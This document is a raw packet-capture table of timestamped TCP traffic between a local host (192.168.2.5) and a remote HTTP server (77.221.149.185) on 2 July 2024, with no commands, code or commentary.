Jul 2, 2024 22:52:25.013791084 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.013824940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.014457941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014467955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014477968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014482021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014492035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014502048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014512062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014520884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014530897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014540911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014549971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014559031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014565945 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.014569044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.014592886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.015409946 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015419960 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015429020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015440941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015450001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015451908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.015456915 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.015460968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015470028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015480042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015486956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.015491009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015501976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015511990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015517950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.015522003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015536070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.015537977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.015552044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.015573025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.016242027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016252041 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016261101 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016269922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016279936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016288996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016299009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016309023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016320944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.016351938 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.016819000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016829014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016838074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016846895 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016855955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016865015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016868114 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.016875982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016885996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016891956 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.016896009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016905069 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.016906977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016916990 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016927004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.016927958 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.016944885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.016963005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.017777920 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017790079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017798901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017810106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017819881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017828941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017837048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.017838955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017848969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017858028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017862082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.017868042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017877102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017887115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017896891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.017900944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.017927885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.018690109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018702030 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018709898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018721104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018729925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018739939 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018740892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.018748999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018754005 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.018759966 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018769979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018775940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.018779993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018788099 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.018790007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018800020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.018824100 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.019618034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019629002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019638062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019649029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019658089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019669056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019673109 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.019679070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019691944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019701958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019706011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.019712925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019721985 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.019721985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.019740105 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.019768000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.052339077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.052536011 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.052548885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.052603006 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.052630901 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.052640915 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.052650928 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.052661896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.052665949 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.052695990 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.052854061 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.053962946 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.101569891 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.101587057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.101598024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.101666927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.101702929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.101712942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.101722956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.101732969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.101742983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.101762056 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.101792097 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102050066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102061033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102071047 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102082968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102097988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102132082 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102256060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102323055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102334976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102350950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102361917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102371931 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102401018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102739096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102749109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102758884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102768898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102780104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102787018 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102790117 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102801085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102809906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102811098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102822065 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102828026 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102832079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102843046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.102845907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102868080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.102874994 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.103511095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103521109 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103530884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103539944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103555918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103562117 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.103565931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103575945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103585958 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103591919 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.103598118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103607893 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103612900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.103619099 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103629112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103638887 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.103640079 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103652954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.103656054 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.103672981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.103688955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.104361057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.104372978 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.104382038 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.104396105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.104408026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.104414940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.104418039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.104429007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.104439974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.104440928 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.104455948 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.104489088 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.105012894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105133057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105145931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105175972 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.105184078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105195999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105221987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.105400085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105412006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105422020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105448008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.105469942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.105547905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105559111 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105568886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105580091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105591059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105592966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.105601072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105623007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.105640888 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.105953932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105964899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105976105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105987072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.105998039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106000900 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.106008053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106018066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106024981 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.106045008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.106379032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106426954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.106533051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106542110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106551886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106563091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106573105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106578112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.106584072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106595039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106595039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.106625080 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.106795073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.106842041 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.107383013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.107454062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.107465029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.107495070 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.107559919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.107600927 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.107606888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108025074 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108036995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108047009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108097076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108097076 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108148098 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108160019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108170033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108181000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108191967 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108222008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108396053 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108407974 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108417988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108442068 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108469963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108485937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108498096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108509064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108515024 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108517885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108546019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108565092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108867884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108879089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108891010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108901024 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108913898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108913898 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108923912 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108935118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108939886 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108946085 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.108957052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.108988047 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.141537905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.141550064 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.141560078 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.141609907 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.141781092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.141792059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.141803026 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.141814947 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.141828060 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.141855955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.190721989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.190735102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.190747023 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.190907955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.190907955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.190943003 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.190953016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.190964937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.190978050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.190989017 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.190989017 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191024065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191152096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191235065 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191294909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191310883 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191323042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191332102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191348076 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191356897 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191359997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191368103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191379070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191387892 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191442966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191442966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191730976 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191741943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191792011 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191876888 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191885948 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191895962 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191906929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:25.191924095 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:25.191937923 CEST	80	49712	77.221.149.185	192.168.2.5
